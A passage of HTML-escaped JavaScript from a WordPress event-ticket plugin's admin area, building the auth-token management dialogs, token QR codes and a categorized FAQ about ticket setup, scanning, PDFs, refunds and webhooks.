		$(&#039;&lt;p&gt;&#039;).html(__(&#039;You can add auth tokens, that can be used to access your ticket scanner. Create an auth token and pass the QR code to the user or let the user scan it from your admin area. The used auth token will bypass any access restriction settings for the ticket scanner that are set in the options.&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(DIV);
		$(&#039;&lt;p&gt;&#039;).html(__(&#039;The user scan the QR code for the auth token with the ticket scanner. Just like a normal ticket. The system will store the auth token to the browser.&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(DIV);
		let loading = $(&#039;&lt;div/&gt;&#039;).html(_getSpinnerHTML()).appendTo(DIV);
		let div2 = $(&#039;&lt;div class=&quot;et-card&quot;&gt;&#039;).appendTo(DIV);
		let tplace = $(&#039;&lt;div class=&quot;et-card&quot;/&gt;&#039;);

		getOptionsFromServer(reply=&gt;{
			let tabelle_authtokens_datatable;
			let btn_new = $(&#039;&lt;button/&gt;&#039;).addClass(&quot;button-primary&quot;).html(_x(&#039;Add&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).on(&quot;click&quot;, ()=&gt;{
				__showMaskAuthtoken(null);
			});
			$(&#039;&lt;div/&gt;&#039;).css(&#039;text-align&#039;, &#039;right&#039;).css(&#039;margin-bottom&#039;,&#039;10px&#039;).append(btn_new).appendTo(div2);
			let div_tabelle = $(&#039;&lt;div&gt;&#039;);
			loading.html(&quot;&quot;);
			tplace.html(&quot;&quot;).append(div_tabelle).appendTo(div2);

			function __showMaskAuthtoken(editValues) {
				let _options = {
					title: editValues !== null ? _x(&#039;Edit Auth Token&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;) : _x(&#039;Add Auth Token&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
					modal: true,
					minWidth: 600,
					minHeight: 400,
					buttons: [
						  {
							  text: _x(&#039;Ok&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
							  click: function() {
								___submitForm();
							  }
						  },
						  {
							  text: _x(&#039;Cancel&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
							  click: function() {
								  closeDialog(this);
							  }
						  }
					  ]
				};
				let dlg = $(&#039;&lt;div/&gt;&#039;).html(&#039;&lt;form&gt;&#039;+_x(&#039;Name&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;br&gt;&lt;input name=&quot;inputName&quot; type=&quot;text&quot; style=&quot;width:100%;&quot; required&gt;&lt;/form&gt;&#039;);
				dlg.dialog(_options);

				dlg.find(&quot;form&quot;).append(&#039;&lt;p&gt;&#039;+_x(&#039;Bound to product(s)&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;br&gt;&lt;input name=&quot;inputBoundToProducts&quot; type=&quot;text&quot; placeholder=&quot;&#039;+_x(&#039;all products allowed to be redeemed&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&quot; style=&quot;width:100%;&quot;&gt;&lt;br&gt;&#039;+__(&#039;You can add comma separated &quot;,&quot; product ids. This will limit the user to redeem tickets only of products listed here. If left empty, all are allowed.&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/p&gt;&#039;);
				dlg.dialog(_options);

				dlg.find(&quot;form&quot;).append($(&#039;&lt;p&gt;&#039;+_x(&#039;Description&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;br&gt;&lt;textarea name=&quot;desc&quot; style=&quot;width:100%;&quot;&gt;&lt;/textarea&gt;&lt;/p&gt;&#039;));
				if (isPremium() &amp;&amp; typeof PREMIUM.addAuthtokenMaskEditFields != &quot;undefined&quot;) PREMIUM.addAuthtokenMaskEditFields(dlg, editValues);
				dlg.find(&quot;form&quot;).append($(&#039;&lt;p&gt;&lt;input type=&quot;checkbox&quot; name=&quot;aktiv&quot;&gt;&#039;+_x(&#039;is active&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/p&gt;&#039;));

				let form = dlg.find(&quot;form&quot;).on(&quot;submit&quot;, event=&gt;{
					event.preventDefault();
					___submitForm();
				});

				let metaObj = [];
				if (editValues &amp;&amp; typeof editValues.meta !== &quot;undefined&quot; &amp;&amp; editValues.meta != &quot;&quot;) {
					try {
						metaObj = JSON.parse(editValues.meta);
					} catch(e) {}
				}

				if (editValues) {
					form[0].elements[&#039;inputName&#039;].value = editValues.name;
					form[0].elements[&#039;inputName&#039;].select();
					form[0].elements[&#039;inputBoundToProducts&#039;].value = editValues.metaObj.ticketscanner.bound_to_products;
					form[0].elements[&#039;aktiv&#039;].checked = editValues.aktiv == 1 ? true : false;
					if (typeof metaObj.desc !== &quot;undefined&quot;) {
						form[0].elements[&#039;desc&#039;].value = metaObj.desc;
					}
				}

				function ___submitForm() {
					let inputName = form[0].elements[&#039;inputName&#039;].value.trim();
					if (inputName === &quot;&quot;) return;

					dlg.html(_getSpinnerHTML());
					let _data = {&quot;name&quot;:inputName};
					_data[&#039;aktiv&#039;] = form[0].elements[&#039;aktiv&#039;].checked ? 1 : 0;
					_data[&#039;meta&#039;] = {&quot;desc&quot;:&quot;&quot;, &quot;ticketscanner&quot;:{&quot;bound_to_products&quot;:&quot;&quot;}};
					_data[&#039;meta&#039;][&#039;desc&#039;] = form[0].elements[&#039;desc&#039;].value.trim();
					_data[&#039;meta&#039;][&#039;ticketscanner&#039;][&#039;bound_to_products&#039;] = form[0].elements[&#039;inputBoundToProducts&#039;].value.trim();
					if (isPremium() &amp;&amp; typeof PREMIUM.addAuthtokenMaskEditFieldsData != &quot;undefined&quot;) PREMIUM.addAuthtokenMaskEditFieldsData(_data, form[0], editValues);

					form[0].reset();
					if (editValues) {
						_data.id = editValues.id;
						_makePost(&#039;editAuthtoken&#039;, _data, result=&gt;{
							DATA_AUTHTOKENS = null;
							__renderTabelleAuthtokens();
							//tabelle_authtokens_datatable.ajax.reload();
							setTimeout(function(){closeDialog(dlg);},250);
						}, ()=&gt;{
							closeDialog(dlg);
						});
					} else {
						_makePost(&#039;addAuthtoken&#039;, _data, result=&gt;{
							DATA_AUTHTOKENS = null;
							__renderTabelleAuthtokens();
							closeDialog(dlg);
						}, response=&gt;{
							closeDialog(dlg);
							if (response.data.slice(0,1) === &quot;#&quot;) {
								FATAL_ERROR === false &amp;&amp; LAYOUT.renderFatalError(response.data);
								//FATAL_ERROR = true;
							}
						});
					}
				}
			} // end __showMaskAuthtoken

			function __renderTabelleAuthtokens() {
				div_tabelle.html(_getSpinnerHTML());
				getAuthtokens(()=&gt;{
					let table_id = myAjax.divPrefix+&#039;_tabelle_authtokens&#039;;
					let tabelle = $(&#039;&lt;table/&gt;&#039;).attr(&quot;id&quot;, table_id);
					tabelle.html(&#039;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th align=&quot;left&quot;&gt;&#039;+_x(&#039;Name&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/th&gt;&lt;th align=&quot;left&quot;&gt;&#039;+_x(&#039;Created&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/th&gt;&lt;th&gt;&#039;+_x(&#039;Area&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/th&gt;&lt;th&gt;&#039;+_x(&#039;Status&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/th&gt;&lt;th&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&#039;);
					div_tabelle.html(tabelle);

					let table = $(&#039;#&#039;+table_id);
					$(table).DataTable().clear().destroy();
					tabelle_authtokens_datatable = $(table).DataTable({
						&quot;responsive&quot;: true,
						&quot;visible&quot;: true,
						&quot;searching&quot;: true,
						&quot;ordering&quot;: true,
						&quot;processing&quot;: true,
						&quot;serverSide&quot;: false,
						&quot;stateSave&quot;: true,
						&quot;data&quot;: DATA_AUTHTOKENS,
						&quot;order&quot;: [[ 1, &quot;asc&quot; ]],
						&quot;columns&quot;:[
							{&quot;data&quot;:null,&quot;className&quot;:&#039;details-control&#039;,&quot;orderable&quot;:false,&quot;defaultContent&quot;:&#039;&#039;, &quot;width&quot;:10},
							{&quot;data&quot;:&quot;name&quot;, &quot;orderable&quot;:true,
								&quot;render&quot;: ( data, type, row )=&gt;{
									return encodeURIComponent(data);
								}
							},
							{&quot;data&quot;:&quot;time&quot;, &quot;orderable&quot;:true, &quot;width&quot;:80,
								&quot;render&quot;:function (data, type, row) {
									return &#039;&lt;span style=&quot;display:none;&quot;&gt;&#039;+data+&#039;&lt;/span&gt;&#039;+DateFormatStringToDateTimeText(data);
								}
							},
							{&quot;data&quot;:&quot;areacode&quot;, &quot;orderable&quot;:true, &quot;className&quot;:&quot;dt-center&quot;, &quot;width&quot;:80},
							{&quot;data&quot;:&quot;aktiv&quot;, &quot;orderable&quot;:true, &quot;width&quot;:50, &quot;className&quot;:&quot;dt-center&quot;, &quot;render&quot;:(data, type, row)=&gt;{
								return data == 1 ? &#039;active&#039; : &#039;inactive&#039;;
							}},
							{&quot;data&quot;:null,&quot;orderable&quot;:false,&quot;defaultContent&quot;:&#039;&#039;,&quot;className&quot;:&quot;buttons dt-right&quot;,&quot;width&quot;:100,
								&quot;render&quot;: ( data, type, row )=&gt;{
									return &#039;&lt;button class=&quot;button-secondary&quot; data-type=&quot;edit&quot;&gt;&#039;+_x(&#039;Edit&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/button&gt; &lt;button class=&quot;button-secondary&quot; data-type=&quot;delete&quot;&gt;&#039;+_x(&#039;Delete&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/button&gt;&#039;;
								}
							}
						]
					});
					tabelle.css(&quot;width&quot;, &quot;100%&quot;);
					table.on(&#039;click&#039;, &#039;button[data-type=&quot;edit&quot;]&#039;, e=&gt;{
						let data = tabelle_authtokens_datatable.row( $(e.target).parents(&#039;tr&#039;) ).data();
						__showMaskAuthtoken(data);
					});
					table.on(&#039;click&#039;, &#039;button[data-type=&quot;delete&quot;]&#039;, e=&gt;{
						let data = tabelle_authtokens_datatable.row( $(e.target).parents(&#039;tr&#039;) ).data();
						LAYOUT.renderYesNo(_x(&#039;Do you want to delete?&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;), __(&#039;Are you sure, you want to delete this auth token?&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;br&gt;&lt;p&gt;&lt;b&gt;&#039;+data.name+&#039;&lt;/b&gt;&lt;/p&gt;&#039;+__(&#039;The user with this auth token will not be able to use the server anymore. The user will need to add a new auth token from you.&lt;p&gt;The effect will be immediately.&lt;/p&gt;&#039;, &#039;event-tickets-with-ticket-scanner&#039;), ()=&gt;{
							let _data = {&#039;id&#039;:data.id};
							div_tabelle.html(_getSpinnerHTML());
							_makePost(&#039;removeAuthtoken&#039;, _data, result=&gt;{
								DATA_AUTHTOKENS = null;
								__renderTabelleAuthtokens();
								//tabelle_authtokens_datatable.ajax.reload();
							});
						});
					});
					$(&#039;#&#039;+table_id+&#039; tbody&#039;).on(&#039;click&#039;, &#039;td.details-control&#039;, e=&gt;{
						function ___format(d) {
							let metaObj = {};
							if (d.metaObj) metaObj = d.metaObj;
							if (d.meta &amp;&amp; !d.metaObj) {
								metaObj = JSON.parse(d.meta);
							}
							let id = &#039;qrcode_&#039;+d.id+&#039;_&#039;+time();
							let content = JSON.stringify({&quot;type&quot;:&quot;auth&quot;, &quot;time&quot;:d.time, &quot;name&quot;:d.name, &quot;code&quot;:d.code, &quot;areacode&quot;:d.areacode, &quot;url&quot;:OPTIONS.infos.site.site_url});
							let content2 = _getTicketScannerURL()+&#039;&amp;auth=&#039;+encodeURIComponent(content);

							let div = $(&#039;&lt;div/&gt;&#039;);
							$(&#039;&lt;div&gt;&#039;).html(&quot;&lt;b&gt;Authcode: &lt;/b&gt;&quot;+d.code).appendTo(div);
							let div_wrapper = $(&#039;&lt;div style=&quot;padding-top:10px;&quot;&gt;&#039;).appendTo(div);

							$(&#039;&lt;div style=&quot;width:256px;float:left;text-align:center&quot;&gt;&#039;).html(&#039;&lt;b&gt;Only Auth Token&lt;/b&gt;&lt;div id=&quot;&#039;+id+&#039;&quot; style=&quot;text-align:center;&quot;&gt;&lt;/div&gt;&lt;script&gt;jQuery(&quot;#&#039;+id+&#039;&quot;).qrcode(\&#039;&#039;+content+&#039;\&#039;);&lt;/script&gt;&#039;).appendTo(div_wrapper);
							$(&#039;&lt;div style=&quot;margin-left:20px;width:256px;float:left;text-align:center&quot;&gt;&#039;).html(&#039;&lt;b&gt;With Ticket Scanner URL&lt;/b&gt;&lt;div id=&quot;&#039;+id+&#039;2&quot; style=&quot;text-align:center;&quot;&gt;&lt;/div&gt;&lt;script&gt;jQuery(&quot;#&#039;+id+&#039;2&quot;).qrcode(\&#039;&#039;+content2+&#039;\&#039;);&lt;/script&gt;&#039;).appendTo(div_wrapper);

							let div_inner = $(&#039;&lt;div style=&quot;float:left;padding-left:10px;&quot;&gt;&#039;).appendTo(div_wrapper);
							let _desc = metaObj.desc == &quot;&quot; ? &quot;-&quot; : metaObj.desc;
							$(&#039;&lt;div&gt;&#039;).html(&#039;&lt;b&gt;&lt;a href=&quot;&#039;+content2+&#039;&quot; target=&quot;_blank&quot;&gt;Open Ticket Scanner with Auth Token&lt;/a&gt;&lt;/b&gt;&#039;).appendTo(div_inner);
							$(&#039;&lt;div&gt;&#039;).html(&#039;&lt;b&gt;Desc:&lt;/b&gt; &#039;).append($(&#039;&lt;span&gt;&#039;).text(_desc)).appendTo(div_inner);

							let bound_to_products = metaObj.ticketscanner.bound_to_products == &quot;&quot; ? [] : metaObj.ticketscanner.bound_to_products.toString().split(&quot;,&quot;);
							$(&quot;&lt;div&gt;&quot;).html(&quot;&lt;b&gt;Bound to product:&lt;/b&gt; &quot;+(bound_to_products.length == 0 ? &quot;all products&quot;: bound_to_products.join(&quot;, &quot;))).appendTo(div_inner);

							return div;
						}

						var tr = $(e.target).parents(&#039;tr&#039;);
						var row = tabelle_authtokens_datatable.row( tr );
						if ( row.child.isShown() ) {
							// This row is already open - close it
							row.child.hide();
							tr.removeClass(&#039;shown&#039;);
						} else {
							// Open this row
							row.child( ___format(row.data()) ).show();
							tr.addClass(&#039;shown&#039;);
						}

					});
				});
			}
			__renderTabelleAuthtokens();
		});
	}

	function _displayFAQArea() {
		STATE = &#039;faq&#039;;
		DIV.html(_getSpinnerHTML());

		let questions = [
			{
				cat: &quot;Getting Started&quot;,
				items: [
					{
						q: &quot;How do I create my first ticket product?&quot;,
						t: &#039;&lt;p&gt;In WooCommerce, create or edit a product. In the &lt;b&gt;Product data&lt;/b&gt; panel you will find the &lt;b&gt;Event Ticket&lt;/b&gt; tab. Check &lt;b&gt;This is a ticket&lt;/b&gt; and assign a ticket list. Save the product. When a customer purchases this product and the order reaches the status &quot;completed&quot;, a ticket with a unique QR code is generated automatically.&lt;/p&gt;&lt;p&gt;You can also check out &lt;a href=&quot;https://youtu.be/yJcHMV7oAFc&quot; target=&quot;_blank&quot;&gt;this setup video&lt;/a&gt; for a walkthrough.&lt;/p&gt;&#039;
					},
					{
						q: &quot;What is the difference between free and premium?&quot;,
						t: &#039;&lt;p&gt;The free version supports up to 32 tickets per product and includes the full ticket scanner, QR codes, PDF tickets, and WooCommerce integration.&lt;/p&gt;&lt;p&gt;The &lt;b&gt;premium version&lt;/b&gt; removes the ticket limit and adds features like the visual ticket template designer (TWIG), ticket badges, seating plans, custom fields per ticket, and more.&lt;/p&gt;&#039;
					}
				]
			},
			{
				cat: &quot;Ticket Scanner&quot;,
				items: [
					{
						q: &quot;How do I share scanner access with my event staff?&quot;,
						t: &#039;&lt;p&gt;Go to the plugin admin and click &lt;b&gt;Auth Tokens&lt;/b&gt;. Create a new token and optionally restrict it to specific products. Your staff can scan the auth token QR code with the ticket scanner on their phone &amp;mdash; it grants scanner access without needing a WordPress login.&lt;/p&gt;&#039;
					},
					{
						q: &quot;How do I install the scanner as an app on my phone?&quot;,
						t: &#039;&lt;p&gt;The ticket scanner supports &lt;b&gt;PWA&lt;/b&gt; (Progressive Web App). Enable the option &lt;b&gt;ticketScannerPWA&lt;/b&gt; in the plugin settings. Then open the scanner URL in Chrome or Safari and use &quot;Add to Home Screen&quot;. It will behave like a native app with its own icon and fullscreen mode.&lt;/p&gt;&#039;
					},
					{
						q: &quot;What are scanner presets and which should I use?&quot;,
						t: &#039;&lt;p&gt;Scanner presets are quick-access buttons at the top of the scanner that configure multiple options at once. The most popular presets:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;Fast Mode&lt;/b&gt; &amp;mdash; enables &lt;b&gt;ticketScannerScanAndRedeemImmediately&lt;/b&gt; and &lt;b&gt;ticketScannerStartCamWithoutButtonClicked&lt;/b&gt; so scanning and redeeming happens in one step without extra taps.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Info Mode&lt;/b&gt; &amp;mdash; shows full ticket details before redeeming, useful for checking names or seat numbers.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;You can also toggle &lt;b&gt;ticketScannerHideTicketInformation&lt;/b&gt; and &lt;b&gt;ticketScannerVibrate&lt;/b&gt; (haptic feedback) individually.&lt;/p&gt;&#039;
					},
					{
						q: &quot;Can I use a hardware barcode scanner?&quot;,
						t: &#039;&lt;p&gt;Yes. The ticket scanner page has a text input field. Any USB or Bluetooth barcode/QR scanner that acts as a keyboard input device will work. Simply focus the input field and scan &amp;mdash; the code is entered and submitted automatically.&lt;/p&gt;&#039;
					}
				]
			},
			{
				cat: &quot;Tickets &amp; PDF&quot;,
				items: [
					{
						q: &quot;How do I customize the ticket PDF design?&quot;,
						t: &#039;&lt;p&gt;The plugin uses &lt;b&gt;TWIG templates&lt;/b&gt; for PDF rendering. In the plugin options, you can find the &lt;b&gt;Ticket Template Designer&lt;/b&gt; section. Use the test designer to preview changes live. You have access to variables like &lt;code&gt;TICKET&lt;/code&gt;, &lt;code&gt;ORDER&lt;/code&gt;, &lt;code&gt;PRODUCT&lt;/code&gt;, and &lt;code&gt;METAOBJ&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;Options like &lt;b&gt;wcTicketSizeWidth&lt;/b&gt;, &lt;b&gt;wcTicketSizeHeight&lt;/b&gt;, &lt;b&gt;wcTicketPDFBackgroundColor&lt;/b&gt;, and &lt;b&gt;wcTicketPDFFullBleed&lt;/b&gt; let you control the page layout. The premium version includes the visual template designer.&lt;/p&gt;&#039;
					},
					{
						q: &quot;How do I let customers download all tickets as one PDF?&quot;,
						t: &#039;&lt;p&gt;Enable one or more of these options to show a &quot;Download all tickets&quot; button:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;wcTicketDisplayDownloadAllTicketsPDFButtonOnMail&lt;/b&gt; &amp;mdash; link in the order confirmation email&lt;/li&gt;&lt;li&gt;&lt;b&gt;wcTicketDisplayDownloadAllTicketsPDFButtonOnCheckout&lt;/b&gt; &amp;mdash; on the checkout thank-you page&lt;/li&gt;&lt;li&gt;&lt;b&gt;wcTicketDisplayDownloadAllTicketsPDFButtonOnOrderdetail&lt;/b&gt; &amp;mdash; on the &quot;My Account&quot; order detail page&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The customer can then download a single PDF containing all tickets from the order.&lt;/p&gt;&#039;
					}
				]
			},
			{
				cat: &quot;WooCommerce&quot;,
				items: [
					{
						q: &quot;How do I let customers choose their event date?&quot;,
						t: &#039;&lt;p&gt;Edit your ticket product and enable the &lt;b&gt;Day Chooser&lt;/b&gt; checkbox in the Event Ticket tab. Configure the start/end date range and optionally exclude specific weekdays. The customer will see a date picker on the product page and must choose a date before adding to cart.&lt;/p&gt;&lt;p&gt;Use &lt;b&gt;wcTicketLabelCartForDaychooser&lt;/b&gt; to customize the label shown in the cart.&lt;/p&gt;&#039;
					},
					{
						q: &quot;How do I handle refunds &amp;mdash; what happens to the ticket?&quot;,
						t: &#039;&lt;p&gt;Two options control this:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;wcRestrictFreeCodeByOrderRefund&lt;/b&gt; &amp;mdash; clears the ticket when the entire order is refunded or deleted&lt;/li&gt;&lt;li&gt;&lt;b&gt;wcassignmentOrderItemRefund&lt;/b&gt; &amp;mdash; clears the ticket when an individual line item is refunded&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;When a ticket is &quot;cleared&quot;, it becomes invalid and cannot be scanned anymore. The ticket code is released back to the pool.&lt;/p&gt;&#039;
					},
					{
						q: &quot;Can I auto-complete orders that only contain tickets?&quot;,
						t: &#039;&lt;p&gt;Yes. Enable the option &lt;b&gt;wcTicketSetOrderToCompleteIfAllOrderItemsAreTickets&lt;/b&gt;. When all items in the order are ticket products and the order reaches &quot;processing&quot; status (payment received), it is automatically set to &quot;completed&quot;. This triggers ticket generation without manual intervention. Unpaid orders are not affected.&lt;/p&gt;&#039;
					},
					{
						q: &quot;Can customers redeem their own ticket?&quot;,
						t: &#039;&lt;p&gt;Yes. Enable the option &lt;b&gt;wcTicketShowRedeemBtnOnTicket&lt;/b&gt; to show a redeem button on the ticket detail page. This is useful for self-check-in scenarios. You can also set &lt;b&gt;wcTicketRedirectUser&lt;/b&gt; and &lt;b&gt;wcTicketRedirectUserURL&lt;/b&gt; to redirect the customer to a specific page after redemption.&lt;/p&gt;&#039;
					}
				]
			},
			{
				cat: &quot;Validation &amp; Security&quot;,
				items: [
					{
						q: &quot;How do I prevent tickets from being scanned too early or too late?&quot;,
						t: &#039;&lt;p&gt;Set event start and end dates on your ticket product. Then configure these options:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;wcTicketDontAllowRedeemTicketBeforeStart&lt;/b&gt; &amp;mdash; blocks scanning before the event starts&lt;/li&gt;&lt;li&gt;&lt;b&gt;wcTicketOffsetAllowRedeemTicketBeforeStart&lt;/b&gt; &amp;mdash; allow scanning X hours before start (e.g. 2 hours early for entry)&lt;/li&gt;&lt;li&gt;&lt;b&gt;wcTicketAllowRedeemTicketAfterEnd&lt;/b&gt; &amp;mdash; allow or block scanning after the event ends&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;You can customize the error messages shown via &lt;b&gt;wcTicketTransTicketNotValidToEarly&lt;/b&gt; and &lt;b&gt;wcTicketTransTicketNotValidToLate&lt;/b&gt;.&lt;/p&gt;&#039;
					},
					{
						q: &quot;How do I allow multi-use tickets (day passes, memberships)?&quot;,
						t: &#039;&lt;p&gt;Edit your ticket product and set the &lt;b&gt;Max redeem amount&lt;/b&gt; field in the Event Ticket tab. Set it to the number of times a ticket can be scanned (e.g. 30 for a monthly pass). Set it to &lt;b&gt;0&lt;/b&gt; for unlimited scans.&lt;/p&gt;&lt;p&gt;The scanner will show how many times the ticket has been used (e.g. &quot;Used 5 of 30&quot;).&lt;/p&gt;&#039;
					}
				]
			},
			{
				cat: &quot;Advanced&quot;,
				items: [
					{
						q: &quot;How do I use webhooks to connect to external systems?&quot;,
						t: &#039;&lt;p&gt;Enable &lt;b&gt;webhooksActiv&lt;/b&gt; in the plugin options. Then configure URLs for the events you want to be notified about:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;webhookURLsetused&lt;/b&gt; &amp;mdash; ticket redeemed for the first time&lt;/li&gt;&lt;li&gt;&lt;b&gt;webhookURLaddwcticketsold&lt;/b&gt; &amp;mdash; new ticket sold via WooCommerce&lt;/li&gt;&lt;li&gt;&lt;b&gt;webhookURLaddwcticketredeemed&lt;/b&gt; / &lt;b&gt;webhookURLaddwcticketunredeemed&lt;/b&gt; &amp;mdash; ticket redeemed or unredeemed&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The plugin sends a POST request with ticket data as JSON to the configured URL. You can use this to sync with CRM systems, access control, or analytics tools.&lt;/p&gt;&#039;
					},
					{
						q: &quot;How to use own page with ticket scanner and have the QR code redirect to it?&quot;,
						t: &quot;&lt;p&gt;You set up a page with the ticket scanner shortcode &#039;sasoEventTicketsValidator_ticket_scanner&#039;.&lt;br&gt;Then adjust the URL for your tickets (scanner is included). The only option for now is the wcTicketCompatibilityModeURLPath. But this also changes the detail page of the ticket. Basically the system is adding to this URL just the &#039;/scanner/?code=&#039;.&lt;/p&gt;&lt;p&gt;If you do not want this, you can adjust the QR content with the option &lt;b&gt;qrOwnQRContent&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;Set it to have the content:&lt;br&gt;https://domain-and-path/scanner/?code={WC_TICKET__PUBLIC_TICKET_ID}&lt;/p&gt;&quot;
					},
					{
						q: &quot;How to display meta information of the purchased item?&quot;,
						t: &#039;You can display the meta information of the item with TWIG.&lt;br&gt;Try TWIG code in the ticket template test designer, to see if this helps. First it is a good idea to check the whole meta values. You can achieve this, by displaying the values as JSON with this code.&lt;p&gt;&lt;b&gt;{% for item_id, item in ORDER.get_items %}&lt;br&gt;{{ item.get_meta_data|json_encode() }}&lt;br&gt;{% endfor %}&lt;/b&gt;&lt;/p&gt;&lt;p&gt;You will see the key value pairs. Then grab your values. E.g.&lt;/p&gt;&lt;p&gt;&lt;b&gt;{%- for item_id, item in ORDER.get_items -%}&lt;br&gt;{%- if item_id == METAOBJ.woocommerce.item_id -%}&lt;br&gt;&amp;lt;br&amp;gt;Date: {{ item.get_meta(&quot;Booked From&quot;, true) }} - {{ item.get_meta(&quot;Booked To&quot;, true) }}&lt;br&gt;{%- endif -%}&lt;br&gt;{%- endfor -%}&lt;/b&gt;&lt;/p&gt;&#039;
					}
				]
			},
			{
				cat: &quot;Troubleshooting&quot;,
				items: [
					{
						q: &quot;PDF is not rendering - critical error&quot;,
						t: &#039;&lt;p&gt;The used PDF library cannot handle all the fancy HTML and CSS. Using these in the product description can lead to an error. If the ticket detail page is working, but the PDF not then you can try to remove the HTML tags or use the option to not print the product description to the ticket.&lt;br&gt;Please set the option &lt;b&gt;wcTicketPDFStripHTML&lt;/b&gt; to remove the HTML and retry the PDF by reloading the browser or click again.&lt;/p&gt;&lt;p&gt;If your system is not live yet, you can use the debug mode first to see which HTML tags are used. The basics HTML tags are working well.&lt;/p&gt;&lt;p&gt;Try the option to remove the not supported HTML tags - this is not always great, because it removes the HTML tags that Wordpress is not supporting and could still lead to PDF issues, but a great start.&lt;br&gt;If this was not helping, then remove please the HTML tags in your product description for a test. You can also just deactivate the option &lt;b&gt;wcTicketDisplayShortDesc&lt;/b&gt; to not use the short description of the product for a test.&lt;/p&gt;&#039;
					},
					{
						q: &quot;Receiving 404 error page if calling the ticket view and/or PDF&quot;,
						t: &#039;&lt;p&gt;Some installations have issues to open the ticket details view and/or the ticket scanner.&lt;br&gt;This could be because of your theme, other plugins or more stricter security settings.&lt;/p&gt;&lt;p&gt;If you experience to see the &quot;file not found&quot; page (404), then it could help if your activate the compatibility mode in the options.&lt;/p&gt;&lt;p&gt;For this configure the option &lt;b&gt;wcTicketCompatibilityModeURLPath&lt;/b&gt; and/or &lt;b&gt;wcTicketCompatibilityMode&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;If this do not help, then the plugin will not work with your installation for now.&lt;/p&gt;&#039;
					},
					{
						q: &quot;How to ask for a value of your ticket?&quot;,
						t: &#039;&lt;p&gt;You can setup your product to ask your customer for up to 2 values. Free text and a value chosen from a dropdown.&lt;br&gt;You can checkout how it is done with &lt;a href=&quot;https://youtu.be/2vTV39wgWNE&quot; target=&quot;_blank&quot;&gt;this video&lt;/a&gt;.&lt;/p&gt;&#039;
					},
					{
						q: &quot;(Pre)Create order with tickets in the backend&quot;,
						t: &#039;&lt;p&gt;You can also checkout &lt;a href=&quot;https://youtu.be/VxUV-s-SIpA&quot; target=&quot;_blank&quot;&gt;this video here&lt;/a&gt;.&lt;br&gt;This video shows how to create an order from the backend and generate the tickets.&lt;br&gt;This approach is also good for free tickets. So you can create the order and have valid tickets. Do not forget to set the order to a redeemable status. The default is &quot;completed&quot;.&lt;/p&gt;&#039;
					}
				]
			}
		];

		let div = $(&#039;&lt;div&gt;&#039;);
		div.append(&quot;&lt;h2&gt;FAQ&lt;/h2&gt;&quot;);
		let div2 = $(&#039;&lt;div class=&quot;et-card&quot;&gt;&#039;).appendTo(div);
		div2.append(getUseFulVideosHTML()+&#039;&lt;br&gt;&lt;br&gt;&#039;);

		questions.forEach(cat =&gt; {
			div2.append($(&#039;&lt;h2 style=&quot;margin:25px 0 10px 0;padding-bottom:5px;border-bottom:2px solid #ddd;&quot;&gt;&#039;).text(cat.cat));
			cat.items.forEach(v =&gt; {
				let clicked = false;
				div2.append($(&#039;&lt;h3 style=&quot;cursor:pointer;margin:5px 0;&quot;&gt;&#039;).html(&quot;+ &quot;+v.q).on(&quot;click&quot;,e=&gt;{
					f1.css(&quot;display&quot;, clicked ? &quot;none&quot; : &quot;block&quot;);
					clicked = !clicked;
				}));
				let f1 = $(&#039;&lt;div style=&quot;display:none;padding:0 0 15px 15px;&quot;&gt;&#039;).html(v.t).appendTo(div2);
			});
		});

		DIV.html(getBackButtonDiv());
		DIV.append(div);
	}

	function _displaySeatingplanArea() {
		STATE = &#039;seatingplan&#039;;
		let div = $(&#039;&lt;div&gt;&#039;).html(_getSpinnerHTML());
		const version = system.is_debug ? new Date().getTime() : myAjax._plugin_version;
		const jsFile = &#039;js/seating_admin.js?v=&#039; + version;
		const cssFile = &#039;css/seating_admin&#039;;

		addStyleTag(myAjax._plugin_home_url + &#039;/&#039; + cssFile + &#039;.css?v=&#039; + version, &#039;saso_seating_admin_css&#039;);

